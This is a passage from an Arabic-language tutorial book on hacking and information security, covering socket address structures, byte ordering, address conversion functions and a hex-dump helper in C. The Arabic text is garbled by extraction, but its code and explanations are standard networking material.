    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [125] ‫ال‬ ‫نوع‬ ‫ب‬ َ‫س‬ َ‫ح‬ ُ‫ه‬‫لئ‬َ‫م‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ Address Structure ‫مه‬‫َخد‬‫ت‬‫نس‬ َ ‫س‬ ‫الذي‬ ‫احلل؟‬ ‫ام‬َ‫ق‬ ً‫ا‬‫لذ‬ . . ‫ال‬ ‫سنستخدم‬ Struct ‫الدلو‬ ‫ُّر‬‫ك‬‫َذ‬‫ت‬ ‫ذل‬ ،!‫همة‬ُ‫مل‬‫ا‬ ‫ذه‬‫هل‬ ‫األول‬ ‫الباب‬ ‫يف‬ ‫عنه‬ ‫حتدثنا‬ ‫الذي‬ ‫؟‬ ، ‫وكي‬ ‫أشكال‬ ‫باستنساخ‬ ‫منا‬ُ‫ق‬ َ ‫ف‬ ً‫ا‬‫ام‬َ َ‫مت‬ ُ‫ه‬‫ه‬‫ُشب‬‫ت‬ ‫اسم‬ ‫عليها‬ ‫وأطلقنا‬ ، (Objects) . ‫ال‬ ‫بمثال‬ ‫ك‬ ُ‫ِّر‬‫ك‬َ‫ذ‬ُ‫أ‬ ‫دعني‬ time.c ، ‫قنا‬‫ر‬َ‫ع‬ ‫قد‬ ‫ُنا‬‫ك‬ Struct tm َ‫غ‬‫قار‬ ‫تغريات‬ُ‫م‬ ‫ه‬‫ب‬ ‫ة‬ ُ‫ه‬‫ن‬‫م‬ ‫أطذنا‬ ‫م‬ُ‫ث‬ ، Object ، ‫ذذه‬ ‫بملئ‬ ‫منا‬ُ‫ق‬‫و‬ ‫ال‬ ‫أو‬ ‫تغريات‬ُ‫مل‬‫ا‬ Elements ‫ال‬ ‫ذذا‬ ‫ل‬‫داط‬‫ب‬ ‫املوجوده‬ Object . ‫ال‬ ‫بعض‬ ‫باستخدام‬ ً‫ا‬‫أيض‬ ‫نا‬ُ‫ذ‬ ‫نقوم‬ َ ‫س‬ Structs ‫بال‬ ‫اخلاصة‬ Sockets ‫وال‬ OSI Layers ً‫ا‬‫سبق‬ُ‫م‬ ‫تابتها‬‫وك‬ ‫ها‬‫َعريف‬‫ت‬ ‫َم‬‫ت‬ ‫التي‬ ‫ال‬ ‫حالة‬ ‫يف‬ ‫قعلنا‬ ‫َام‬‫ك‬ “Struct tm” . َ ‫س‬ ُ‫ن‬ ‫ال‬ ‫شاذد‬ Struct ‫العام‬ .. ‫ميه‬ َ‫ُس‬‫ن‬ " sockaddr " .. ‫صيص‬ َ ‫خت‬ ‫تم‬ ُ ‫حيث‬ 16 bytes ُ‫ه‬‫ل‬ ، ‫عن‬ ‫بارة‬‫ع‬ َ‫ي‬‫ذ‬ : ( 2 bytes ) ‫لل‬ ‫ة‬ َ ‫ص‬‫ص‬َ ُ ‫ُم‬ Address Family ، ‫وال‬ ( 14 bytes ) ‫لل‬ ‫ت‬ َ ‫ص‬‫ص‬ ُ ‫ط‬ ‫تبقية‬ُ‫مل‬‫ا‬ Address Data . :‫شكله‬ ‫ذو‬ ‫ذذا‬ ‫الشكل‬ ‫يف‬ ‫اخلانات‬ ‫د‬َ‫د‬َ‫ع‬ ‫ظ‬‫الح‬ 16 ‫طان‬ ‫ة‬ ‫أو‬ ، 16 bytes . ‫وذذا‬ ‫ذو‬ :‫عنه‬ ِّ ‫عرب‬ُ‫ي‬ ‫الذي‬ ‫الكود‬
  • 126.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [126] /* Get the definition of the macro to define the common sockaddr members. */ #include <bits/sockaddr.h> /* Structure describing a generic socket address. */ struct sockaddr { __SOCKADDR_COMMON (sa_); /* Common data: address family and length. */ char sa_data[14]; /* Address data. */ }; ُ‫ج‬ ‫آلطر‬ ‫وصلنا‬ ‫ال‬ ‫ذذه‬ ‫ن‬‫م‬ ُ‫ه‬‫ُريد‬‫ن‬ ‫زء‬ Lib ‫ال‬ ‫وذو‬ Address Families /user/include/bits/socket.h /* Address families. */ #define AF_UNSPEC PF_UNSPEC #define AF_LOCAL PF_LOCAL #define AF_UNIX PF_UNIX #define AF_FILE PF_FILE #define AF_INET PF_INET #define AF_AX25 PF_AX25 #define AF_IPX PF_IPX #define AF_APPLETALK PF_APPLETALK #define AF_NETROM PF_NETROM #define AF_BRIDGE PF_BRIDGE #define AF_ATMPVC PF_ATMPVC #define AF_X25 PF_X25 #define AF_INET6 PF_INET6 … ‫ال‬ ‫أن‬ ‫الحظ‬ Address Family ‫ال‬ ‫عن‬ ِّ ‫رب‬َ‫ع‬ُ‫ي‬ ‫الذي‬ ‫ذو‬ ‫الرتتيب‬ ‫يف‬ ‫اخلامس‬ IPv4 . AF: Address Family, PF: Protocol Family
  • 127.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [127] ‫ل‬ ‫ثال‬‫م‬ ‫ذذا‬.‫الفصل‬ ‫بقية‬ ‫باستمرار‬ ‫باستخدامه‬ ‫قسنقوم‬ ‫له‬ ‫لنتبه‬ “Socket Address” ‫بال‬ ‫طاص‬ IPv4 /* Structure describing an Internet socket address. */ struct sockaddr_in { __SOCKADDR_COMMON (sin_); in_port_t sin_port; /* Port number. */ struct in_addr sin_addr; /* Internet address. */ /* Pad to size of 'struct sockaddr'. */ unsigned char sin_zero[sizeof (struct sockaddr) - __SOCKADDR_COMMON_SIZE - sizeof (in_port_t) - sizeof (struct in_addr)]; }; :)‫الثاين‬ ‫(الشكل‬ ‫شكله‬ ‫يكون‬ ‫ذكذا‬ ‫ال‬ ‫أن‬ ..‫ُالحظ‬‫ت‬ ‫كام‬ Socket ‫ال‬ ‫ذو‬ ‫األول‬ " General Socket " . ‫ال‬ ‫ذو‬ ‫والثاين‬ IPv4 Socket ، ‫ة‬ َ‫ساح‬‫م‬ ‫ل‬َ‫غ‬‫ش‬َ‫ي‬ ‫الذم‬‫وك‬ 16 bytes ، ‫د‬َ‫د‬َ‫ع‬ ‫وجود‬ ‫ي‬‫ع‬َ‫م‬ ‫ظ‬‫ُالح‬‫ت‬ ‫ل‬َ‫ذ‬ ‫ن‬‫ك‬َ‫ل‬ 8bytes ‫ال‬ ‫يف‬ Structure ‫ال‬‫ب‬ ‫اخلاص‬ IPv4 ‫عنوان‬ َ ‫ت‬ َ ‫حت‬
  • 128.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [128] ‫ال‬ " Extra padding " ‫؟؟‬ . ‫ال‬ ‫باقي‬ ‫لة‬‫َكم‬‫ت‬‫ل‬ ‫وذذا‬ ،‫حاجة‬ ‫دون‬ ‫لضاقتهم‬ ‫َم‬‫ت‬ ‫د‬َ‫ق‬َ‫ل‬ 16 bytes .. ‫م‬َ‫ل‬‫َع‬‫ت‬ ‫َام‬‫ك‬ ُ‫ه‬‫ألن‬ .. ‫ة‬ َ‫حاج‬‫ب‬ ُ‫َحن‬‫ن‬ !‫قحسب‬ ‫ملاييل‬ : - 2 bytes for “family type” “port number” - and 2 bytes for “IP Address” field for ( - and (8 bits * 4 = 32 bits = 4 bytes ‫املج‬ ‫قيكون‬ ‫موع‬ 8 bytes ‫بإضاقة‬ ‫الباقي‬ ‫بإكامل‬ ‫منا‬ُ‫ق‬َ‫ق‬ ،!‫ققط‬ Padding . Big-Endian Byte Ordering ‫ال‬ ‫أن‬ ‫ظ‬ َ‫الح‬ُ‫مل‬‫ا‬ ‫من‬ IP Address ‫وال‬ Port Number ‫ال‬ ‫يف‬ ‫مان‬َ‫ستخد‬ُ‫مل‬‫ا‬ “AF_INET Socket address structure” ‫ال‬ ‫عان‬َ‫ب‬‫ت‬َ‫ي‬ َ ‫س‬ " Network Byte Ordering " ‫من‬ ً‫ال‬‫بد‬ ‫ال‬ ”x-86 little-Endian byte ordering” ‫ال‬ ‫ماذذا‬ Endian ‫؟‬.. Endianness refers to the order of the Bytes; It also describes the order of byte transmission over a digital link. Big-endian is the most common format in data networking; fields in the protocols such as IPv4, IPv6, TCP, and UDP, are transmitted in big-endian order. ‫إلرسال‬ ‫ة‬ َ‫حاج‬‫ب‬ ‫نا‬ُ‫ذ‬ ُ‫َحن‬‫ن‬ " Bits over the link .."
  • 129.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [129] ‫ل‬َ‫م‬َ‫ع‬ ‫ن‬‫م‬ ‫د‬ُ‫ب‬‫ال‬ ‫وبالتايل‬،!‫الشبكات‬ ‫تقنيات‬ ‫استخدام‬ ‫ُريد‬‫ن‬ Convert ‫ال‬ ‫ه‬‫ذ‬َ‫هل‬ fields ‫طالل‬ ‫العبور‬ ‫ُها‬‫ن‬‫مك‬ُ‫ي‬ ‫لن‬ ‫التي‬ ‫ال‬ ‫حالة‬ ‫يف‬ ‫وذي‬ ‫الشبكة‬ Little-Endian .! ‫ال‬ ‫وتتعامل‬ Memory ‫ال‬ ‫مع‬ Big-Endian ‫ال‬ ‫عن‬ ‫تلف‬ ُ ‫ُم‬ ‫بشكل‬ Little-Endian :‫كامييل‬ ‫ال‬ ‫حالة‬ ‫يف‬ “Big-Endian ordering” :‫منى‬ُ‫ي‬‫ال‬ ‫اجلهة‬ ‫يف‬ ‫يظهر‬ ‫كام‬ ‫ال‬ ‫ذذا‬ ‫ختزين‬ ‫أردنا‬ ‫قلو‬ input .‫اليمني‬ ‫لىل‬ ‫اليسار‬ ‫ن‬‫م‬ ُ‫ه‬‫رائت‬‫ق‬ ‫تم‬َ‫ي‬َ‫ق‬ ‫الذاكرة‬ ‫يف‬ The most significant byte (MSB) value, "0A" is at the lowest address ‫ال‬ ‫حالة‬ ‫ويف‬ " Little-Endian " .‫اليسار‬ ‫لىل‬ ‫اليمني‬ ‫من‬ ‫قرائته‬ ‫سيتم‬ The least significant byte (LSB) value, "0D", is at the lowest address. .‫ُسى‬ُ‫ي‬‫ال‬ ‫اجلهة‬ ‫يف‬ ‫موضح‬ ‫ذو‬ ‫كام‬ ‫ال‬ ‫بعض‬ ‫تقوم‬ functions ‫ال‬ ‫ذذا‬ ‫بعمل‬ Conversion :‫لك‬ ‫ُرذا‬‫ك‬‫سأذ‬ ..
  • 130.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [130] htonl(long value) Host-to-Network Long This function converts 32-bit (4-byte) quantities from host byte order to network byte order. htonl means host to network long! htons(short value) Host-to-Network Short This function converts 16-bit (2-byte) quantities from host byte order to network byte order. ntohl(long value) Network-to-Host Long This function converts 32-bit quantities from network byte order to host byte order. ntohs(long value) Network-to-Host Short This function converts 16-bit (2-byte) quantities from network byte order to host byte order. Conversion between IPv4 and 32-bit int ‫الصيغة‬ ‫ذذه‬ ‫ُب‬‫ت‬‫نك‬ ‫عندما‬ 54.208.202.125 ‫عليها‬ ‫طلق‬ُ‫ي‬ ‫والتي‬ ً‫ال‬‫مث‬ " the internet standard dot notation " ‫قلن‬ ‫ال‬ ‫يفهمها‬ Socket ،! ‫ال‬ ‫أن‬ ‫حيث‬ functions ‫ن‬ِّ‫كو‬ُ‫مل‬‫ا‬ ‫ة‬ ‫بال‬ ‫ل‬َ‫م‬‫تتعا‬ ُ‫ه‬‫ل‬ " 32-bits order " ‫د‬ ُ‫َواج‬‫ت‬‫ل‬ ‫احلاجة‬ ‫ظهرت‬ ‫نا‬ُ‫ذ‬ ‫ومن‬ functions ‫ال‬ ‫من‬ ‫بالتحويل‬ ‫تقوم‬ ASCII ‫ال‬ ‫لىل‬ " 32-bits integer " .!‫والعكس‬ ‫ال‬ ‫ذذه‬ ‫عىل‬ ‫نظرة‬ ‫نلق‬ ‫دعنا‬ functions . # ‫ال‬ function :‫األوىل‬ inet_aton(char *ascii_addr, struct in_addr *network_addr) This function converts the specified string in the Internet standard dot notation “*ascii_addr” to a network address “*network_addr”, and stores the address in the structure provided “struct in_addr”. The converted address will be in Network Byte Order (bytes ordered from left to right).
  • 131.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [131] َ‫ت‬ ‫ذل‬ ّ‫ذ‬ ُ‫ك‬ ‫ال‬ ‫ذذا‬ ‫ر‬ struct in_addr ‫؟‬ ‫لنه‬ ،!‫ه‬‫ب‬ ‫ّرك‬‫ك‬َ‫ذ‬ُ‫أ‬ ‫دعني‬ Struct ‫ال‬ ‫حيمل‬ IP Address ‫ال‬ ‫بصيغة‬ 32-bits int ‫َم‬‫ت‬ ‫تعريفه‬ ‫ال‬ ‫ل‬‫داط‬ " Socket address structure " ‫بالعائلة‬ ‫اخلاص‬ AF_INET ، ‫ال‬ ‫وذي‬ .Address Family for IPv4 ‫عمل‬ ‫تم‬ Define ‫لل‬ Structure ‫نه‬َ‫ع‬ ِّ ‫رب‬َ‫ع‬ُ‫ي‬ ‫الذي‬ ‫امللف‬ ‫يف‬ ‫ا‬ in.h . ‫عىل‬ ُ‫ه‬‫د‬ َ ‫جت‬ ‫ظام‬‫ن‬ ‫يف‬ ‫التايل‬ ‫سار‬َ‫مل‬‫ا‬ Linux : uer/include/netinet/in.h ‫بال‬ ‫بمقارنته‬ ‫منا‬ُ‫ق‬ ‫ندما‬‫ع‬ ً‫ا‬‫سبق‬ُ‫م‬ ُ‫ه‬‫استخدمنا‬ ‫وقد‬ General Structure .. ‫عادلة‬ُ‫م‬ ‫ماييل‬ ‫توضح‬ ‫ا‬ ‫من‬ ‫التحويل‬ ‫عملية‬ ‫ل‬ " IP Address in Dotted notation " ‫لىل‬ ‫ال‬ integer . ‫أن‬ ‫ض‬‫َفر‬‫ن‬‫ل‬ ‫ال‬ Address :‫ييل‬ ‫كام‬ The address is aaa.bbb.ccc.ddd :‫كالتايل‬ ‫التحويل‬ ‫معادلة‬ ‫قتكون‬ number = (aaa*256^3) + (bbb*256^2) + (ccc*256^1) + (ddd*256^0) ‫رقم‬ ‫أكرب‬ ‫سيكون‬ 4294967295 ‫لل‬ ‫ل‬‫قاب‬ُ‫مل‬‫ا‬ ‫الرقم‬ ‫ألنه‬ ( Address: 255.255.255.255 ) ، ‫سيكون‬ ‫رقم‬ ‫وأصغر‬ (0) ‫الرقم‬ ‫ألنه‬ ‫لل‬ ‫ل‬‫قاب‬ُ‫مل‬‫ا‬ ( Address: 0.0.0.0 ) ، ‫ال‬ ‫ذذا‬ ‫أن‬ ‫ظ‬‫الح‬ integer ‫يكون‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬ unsigned ، ‫ض‬َ َ ‫فرت‬ُ‫ي‬ ‫ال‬ ُ‫ه‬‫ألن‬ ‫وجود‬ IP .!‫ب‬‫سال‬ ‫م‬َ‫ق‬َ‫ر‬ ‫ل‬‫م‬ َ ‫حي‬ # ‫ال‬ function ‫الثانية‬ : ‫و‬ ‫ال‬ ‫ن‬‫م‬ ‫ل‬ِّ‫ُحو‬‫ت‬‫س‬ ‫التي‬ Network ‫ال‬ ‫لىل‬ ASCII :‫النحو‬ ‫ذذا‬ ‫عىل‬ ‫ستكون‬ inet_ntoa(struct in_addr *network_addr) “This function converts the specified Internet host address to a string in the Internet standard dot notation”.
  • 132.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [132] The error.h ‫ال‬ ‫عض‬َ‫ب‬‫ب‬ ‫ِّرك‬‫ك‬‫ذ‬ُ‫أ‬ ‫أن‬ ‫حب‬ُ‫أ‬ Functions ‫ال‬ ‫ثال‬‫م‬ ‫يف‬ ،‫ق‬‫الساب‬ ‫الفصل‬ ‫يف‬ ‫استخدمناذا‬ ‫د‬َ‫ق‬ ‫ا‬‫ُن‬‫ك‬ ‫التي‬ Heap ..ً‫ا‬‫ديد‬ َ ‫حت‬ ‫لهنا‬ ec_malloc( ) ‫وال‬ fatal( ) . ..ً‫ا‬‫جمدد‬ ‫ك‬َ‫ل‬ ‫سأضعهم‬ // A function to display an error message and then exit void fatal(char *message) { char error_message[100]; strcpy(error_message, "[!!] Fatal Error "); strncat(error_message, message, 83); perror(error_message); exit(-1); } // An error-checked malloc() wrapper function void *ec_malloc(unsigned int size) { void *ptr; ptr = malloc(size); if(ptr == NULL) fatal("in ec_malloc() on memory allocation"); return ptr; } ‫نستخد‬ ‫سوف‬ ‫أننا‬ ‫بام‬ ‫ملف‬ ‫يف‬ ‫بوضعهم‬ ‫قسنقوم‬ ،‫ستمر‬ُ‫م‬ ‫بشكل‬ ‫مهم‬ include ‫د‬‫ح‬ ‫عىل‬ ‫ة‬ ‫احلاج‬ ‫وقت‬ ‫نستدعيهم‬‫ل‬ ‫ة‬ . ‫عليه‬ ‫ُطلق‬‫ن‬‫س‬ error.h . ‫ال‬ ‫ج‬‫برام‬ ‫مع‬ ‫ل‬ُ‫م‬‫َعا‬‫ت‬‫ال‬ ‫لك‬ َ ‫ق‬َ‫ب‬ َ ‫س‬ ‫ذل‬ packet analysis ‫؟‬ . ‫ال‬ ‫ل‬‫ث‬‫م‬ wireshark ‫أو‬ TCPDump ، ‫ت‬َ‫ي‬ ‫ديك‬َ‫ل‬ ‫َة‬‫ك‬َ‫ب‬ َ ‫الش‬ ‫كارت‬ َ‫رب‬َ‫ع‬ ‫التقاطها‬ ‫م‬‫ت‬َ‫ي‬ ‫التي‬ ‫البيانات‬ ‫أن‬ ‫ُالحظ‬‫ت‬‫س‬ ‫رضها‬َ‫ع‬ ‫م‬ ‫ال‬ ‫يئة‬َ‫ِب‬ ‫يانات‬َ‫ب‬‫ال‬ ‫د‬ َ ‫جت‬ ..ً‫ال‬‫ث‬َ‫م‬َ‫ق‬ ،‫غ‬َ‫ي‬‫ص‬ ‫ة‬ّ‫د‬‫ع‬‫ب‬ Hexadecimal ‫ال‬ ‫يئة‬َ‫ِب‬ ً‫ا‬‫أيض‬ ‫و‬ ASCII .‫نا‬َ‫ل‬ ‫قروءة‬َ‫مل‬‫ا‬ ‫ة‬َ‫غ‬ُ‫ل‬‫ال‬ َ‫ي‬‫وذ‬
  • 133.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [133] :‫الصورة‬ ‫ه‬‫ذ‬َ‫ِب‬ ُ‫ه‬‫د‬‫ُشاذ‬‫ن‬ ‫ما‬ ‫تلخيص‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫قنحن‬ ‫ترى‬ ‫كام‬ َ‫َلم‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫البيانات‬ ‫بتخزين‬ ‫نقوم‬ ‫ة‬ ‫ال‬ ‫يف‬ memory ، ‫بصيغة‬ ‫عرضها‬ ‫يتم‬ ‫حيث‬ ‫ال‬ Hex ‫أقىص‬ ‫بحد‬ ‫وذلك‬ 16 bytes ‫الواحد‬ ‫الصف‬ ‫يف‬ ‫ال‬ ‫لظهار‬ ‫منه‬ ‫نطلب‬ ‫اليمني‬ ‫عىل‬ ‫ثم‬ ، " Printable bytes " ّ‫أي‬ ،‫البيانات‬ ‫ذذه‬ ‫من‬ ‫ه‬َ‫ط‬َ‫ق‬َ‫ت‬‫ل‬ُ‫مل‬‫ا‬ ‫كتوب‬َ‫مل‬‫ا‬ ‫الرموز‬ ‫أو‬ ‫األحرف‬ ‫ة‬ .‫الكيبورد‬ ‫بواسطة‬ ‫الرائع‬ ‫همة‬ُ‫مل‬‫ا‬ ‫ِبذه‬ ‫يقوم‬ ‫صغري‬ ‫كود‬ ‫تابة‬‫بك‬ ‫سنقوم‬ ‫واآلن‬ ‫ة‬ :! ‫بار‬‫ع‬ ‫الكود‬ ‫ذذا‬ ‫ة‬ ‫عن‬ buffer ‫ال‬ ‫قيه‬ ‫ن‬ ِّ‫ُخز‬‫ن‬ bytes َ‫م‬َ‫ل‬‫ست‬ُ‫مل‬‫ا‬ ‫ة‬ ‫و‬ ، integer ‫ال‬ ‫به‬ ‫لنضع‬ " length of received bytes ،" ‫ال‬ ‫عدد‬ ‫طالله‬ ‫ن‬‫م‬ ‫ف‬‫ر‬‫َع‬‫ن‬ ‫كي‬ bytes ‫ة‬َ‫م‬َ‫ل‬‫ست‬ُ‫مل‬‫ا‬ . ‫ثم‬ Loop ‫ال‬ ‫د‬َ‫ع‬‫ب‬ ‫لتقوم‬ bytes ‫ال‬ ‫تتجاوز‬ ‫ال‬ ‫بصفوف‬ ‫عرضها‬ ‫لنا‬ ‫يتسنى‬ ‫كي‬ 16 bytes ‫ال‬ ‫وبصيغة‬ Hex ، ‫ليست‬ ‫ولكن‬ ‫ال‬ ‫تلك‬ %x ، ‫ستكون‬ ‫بل‬ “%02x” .. ‫الصيغ‬ ‫ذذه‬ ‫استخدمنا‬ ‫وملاذا‬ ‫ة‬ ‫؟؟‬ . :‫تعني‬ ‫الصيغة‬ ‫ذذه‬ ‫ألن‬ ‫لطبع‬ 2 digits ، ‫م‬ُ‫ث‬ ‫ثم‬ ،‫مساقة‬ ‫بعدذم‬ ‫اترك‬ 2 digits ‫ال‬ ‫ووجود‬ ..‫وذكذا‬ (0) ‫ال‬ ‫قبل‬ ‫ذنا‬ 2 ‫به‬ ‫نعني‬ “prepend it with zeros if there is less” .‫بأصفار‬ ‫الفارغة‬ ‫احلقول‬ ‫لكامل‬ ‫وذو‬
  • 134.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [134] ‫بعمل‬ ‫نقوم‬ ‫ثم‬ Loop ‫ثانية‬ ً‫ة‬‫مر‬ ‫ال‬ ‫اللتقاط‬ ‫ولكن‬ printable characters ‫كي‬ ‫كام‬ ‫اليمني‬ ‫عىل‬ ‫رذا‬‫ُظه‬‫ن‬ !‫رأيت‬ . ‫ماييل‬ ‫اخلاص‬ ‫الكود‬ ‫بال‬ Function ‫يها‬ِّ‫ُسم‬‫ن‬‫س‬ ، Dump( ) : // Dumps raw memory in hex byte and printable split format void dump(const unsigned char *data_buffer, const unsigned int length) { unsigned char byte; unsigned int i, j; for(i=0; i < length; i++) { byte = data_buffer[i]; printf("%02x ", data_buffer[i]); // Display byte in hex. if(((i%16)==15) || (i==length-1)) { for(j=0; j < 15-(i%16); j++) printf(" "); printf("| "); for(j=(i-(i%16)); j <= i; j++) { // Display printable bytes from line. byte = data_buffer[j]; if((byte > 31) && (byte < 127)) // Outside printable char range printf("%c", byte); else printf("."); } printf("n"); // End of the dump line (each line is 16 bytes) } // End if } // End for } ‫ذذه‬ function ‫ذ‬ ُ ‫تأط‬ Parameters” “Two :‫م‬ُ‫ذ‬.. ‫األول‬ " pointer to a buffer " ‫بت‬ ‫سنقوم‬ ‫َم‬‫ك‬ ‫عىل‬ ً‫ء‬‫بنا‬ ‫نحن‬ ‫مساحته‬ ‫حديد‬ ‫استقباهلا‬ ‫سنتوقع‬ ‫الذي‬ ‫البيانات‬ ، ‫والثاين‬ ‫ذو‬ integer ‫مل‬َ‫ع‬‫ب‬ ‫قوم‬َ‫ي‬‫ل‬ count ‫ال‬ ‫لك‬‫ت‬ ‫جم‬َ‫حل‬ bytes ‫سالة‬‫ر‬ ‫نا‬َ‫ل‬ ‫ع‬َ‫ب‬‫ط‬َ‫ي‬‫ل‬ " received … of bytes ." ‫ال‬ ‫لىل‬ ‫ل‬ ُ ‫ندط‬ ‫م‬ُ‫ث‬ Loop
  • 135.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [135] ‫ال‬ ‫د‬َ‫ع‬‫ب‬ ‫لنقوم‬ bytes ‫الشاش‬ ‫عىل‬ ‫عرضها‬ ‫أجل‬ ‫من‬ ‫ة‬ ‫أن‬ ً‫ا‬‫مسبق‬ ‫لنا‬ُ‫ق‬ ‫وكام‬ ، ‫بحاج‬ ‫نا‬ ‫ة‬ ‫ال‬ ‫بصيغة‬ ‫لعرضهم‬ Hex ‫أقىص‬ ‫وبحد‬ 16 bytes ..‫الواحد‬ ‫الصف‬ ‫يف‬ ‫دالة‬ ‫له‬ ‫قسنستخدم‬ ،‫كذلك؟‬ ‫أليس‬ ،!ً‫ا‬‫رشط‬ ‫عترب‬ُ‫ي‬ ‫ذذا‬ ‫األطري‬ If :‫بأمرين‬ ‫لنا‬ ‫لتقوم‬  ‫بعمل‬ ‫ستقوم‬ :‫األول‬ ‫كل‬ ‫بني‬ ‫قصل‬ " two digits " ‫َني‬‫ت‬َ‫ق‬‫سا‬َ‫م‬ ‫قدار‬‫م‬‫ب‬ " two spaces ."  ‫ال‬ ‫ل‬‫َم‬‫ت‬‫يك‬ ‫عندما‬ :‫الثاين‬ byte ‫رقم‬ 16 ‫س‬ ‫الرمز‬ ‫بوضع‬ ‫تقوم‬ " | " ‫ب‬ ‫متبوع‬ " two spaces " ‫ح‬‫موض‬ ‫ذو‬ ‫كام‬ ً‫ا‬‫أيض‬ .‫الكود‬ ‫يف‬ ‫ال‬ ‫عن‬ ‫ماذا‬ ‫واآلن‬ Printable data ‫ال‬ ‫بجانب‬ ‫تأيت‬ ‫التي‬ ‫وذي‬ ‫؟‬ " 16 bytes of Hex ." ‫بعمل‬ ً‫ا‬‫أيض‬ ‫سنقوم‬ Loop ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ل‬‫داط‬ ‫طرى‬ُ‫أ‬ bytes ‫ال‬ ‫نها‬‫م‬ ‫ط‬‫َق‬‫ت‬‫َل‬‫ن‬‫ل‬ printable characters . ‫ا‬ ‫الرشط‬ ‫ذذا‬ ‫ما‬ ‫ولكن‬ !‫مألوف‬ ‫لغري‬ if((byte > 31) && (byte < 127)) ‫من‬ ‫بأكرب‬ ‫نعني‬ ‫ماذا‬ 31 ‫من‬ ‫أصغر‬ ‫و‬ 127 ‫؟‬ . ‫ال‬ ‫ذذا‬ ‫طارج‬ ‫تقع‬ ‫التي‬ ‫نارص‬َ‫ع‬‫ال‬ ‫باعة‬‫ط‬ ‫عدم‬ ‫لنا‬ ‫دد‬ ُ ‫حي‬ ‫رشط‬ ‫ذذا‬ range ‫ال‬ ‫من‬ character ‫طارج‬ ‫عنارص‬ ‫صادقت‬ ‫ولذا‬ ‫منها‬ ً‫ال‬‫بد‬ ‫ستطبع‬ ‫ولكن‬ ،!‫بعرضها‬ ‫تقوم‬ ‫قلن‬ ،‫النطاق‬ ‫ذذا‬ (.) ‫ققط‬ . ‫ول‬ ..‫نعم‬ ‫ال‬ ‫ذذه‬ ‫ما‬ ‫كن‬ 127 ‫حال؟‬ ‫بأي‬ ‫ال‬ ‫لهنا‬ ASCII table ASCII, abbreviated from American Standard Code for Information Interchange, is a character- encoding scheme. ASCII codes represent text in computers, communications equipment, and other devices that use text. Most modern character-encoding schemes are based on ASCII, though they support many additional characters.
  • 136.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [136] ‫ال‬ ‫وذذا‬ table ‫دالة‬ ‫يف‬ ‫املذكور‬ ‫الرشط‬ ‫أكثر‬ ‫لنا‬ ‫يوضح‬ ‫ذذا‬ ،‫ِبم‬ ‫اخلاص‬ ( if .) ‫ال‬ ‫باعة‬‫ط‬‫ب‬ ‫يقوم‬‫ل‬ ‫الرشط‬ ‫نا‬‫د‬‫د‬ َ‫ح‬ ‫لقد‬ characters ‫ال‬ ‫بني‬ ‫ة‬َ‫ع‬‫الواق‬ ( 31 ‫و‬ 127 ) ، ً‫ال‬‫ث‬َ‫م‬َ‫ق‬ 127 ‫تعني‬ Del ُ‫ن‬‫َح‬‫ن‬‫و‬ ،‫الكيبورد‬ ‫يف‬ .!‫الكود‬ ‫َتائج‬‫ن‬ ‫يف‬ ُ‫ه‬‫ُريد‬‫ن‬ ‫ال‬ ‫ال‬ ‫يف‬ َ‫ر‬َ‫ه‬َ‫ظ‬ ‫لذا‬ ‫ن‬‫ولك‬ bytes ‫بطباعة‬ ‫قسنقوم‬ (dot) .ُ‫ه‬‫ن‬‫م‬ ً‫ال‬َ‫د‬َ‫ب‬ !!‫جيد‬ . ‫ال‬ ‫ذذه‬ ‫بإضاقة‬ ‫سنقوم‬ function ‫امللف‬ ‫لىل‬ ً‫ا‬‫أيض‬ error.h .. ‫ا‬ ‫قسيتم‬ ‫ست‬ ‫خدا‬ ُ‫م‬ ‫كل‬ َ ‫ش‬‫ب‬ ‫مها‬ ‫ر‬ ِّ‫تكر‬ .
  • 137.
